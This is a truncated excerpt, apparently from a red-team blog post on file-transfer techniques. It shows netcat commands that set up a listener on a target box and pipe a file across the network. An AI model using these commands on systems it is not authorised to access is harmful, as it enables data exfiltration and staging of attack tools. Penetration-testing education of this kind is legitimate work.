Red Team File Transfers, All the Ways

ice-wzl
6 min readAug 12, 2023

Netcat File Transfer

  • Step 1
  • Create a file on the target box in the /tmp directory
touch file.txt
  • Set up the listener and direct STDOUT into the new file
nc -nlvp 1234 > file.txt
  • Send the file
nc [target box ip] 1234 <…

--

--